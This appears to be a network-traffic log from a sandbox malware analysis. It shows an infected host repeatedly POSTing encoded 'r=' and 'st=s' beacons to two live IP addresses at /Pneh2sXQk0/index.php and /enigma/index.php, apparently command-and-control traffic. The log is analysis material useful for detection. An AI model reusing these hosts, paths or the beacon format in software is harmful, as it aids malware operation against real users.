Apr 19, 2024 03:36:18.351531982 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:18.603972912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.5	51234	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:18.656086922 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:18.904742002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.5	51235	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:18.943095922 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:19.187158108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.5	51236	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:19.155095100 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:19.406025887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.5	51237	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:19.438570976 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:19.689110994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.5	51238	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:19.737612963 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:19.977926016 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.5	51239	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:20.020148993 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:20.261888027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.5	51240	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:20.233139992 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:20.489478111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.5	51241	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:20.510063887 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:20.757633924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.5	51242	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:20.842156887 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:21.093945026 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.5	51243	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:21.083071947 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:21.326636076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.5	51244	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:21.344871044 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:21.596725941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.5	51245	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:21.575195074 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:21.825201035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.5	51246	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:21.949048042 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:22.200265884 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.5	51247	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:22.170573950 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:22.420720100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.5	51248	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:22.456633091 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:22.711802006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.5	51249	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:22.675677061 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:22.929649115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.5	51250	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:23.057893038 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:23.306097031 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.5	51251	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:23.262765884 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:23.512794018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.5	51252	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:23.554732084 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:23.803133011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.5	51253	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:23.771411896 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:24.027760983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.5	51254	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:24.149641037 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:24.397629023 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.5	51255	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:24.362396955 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:24.605443001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.5	51256	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:24.653465033 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:24.910254955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.5	51257	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
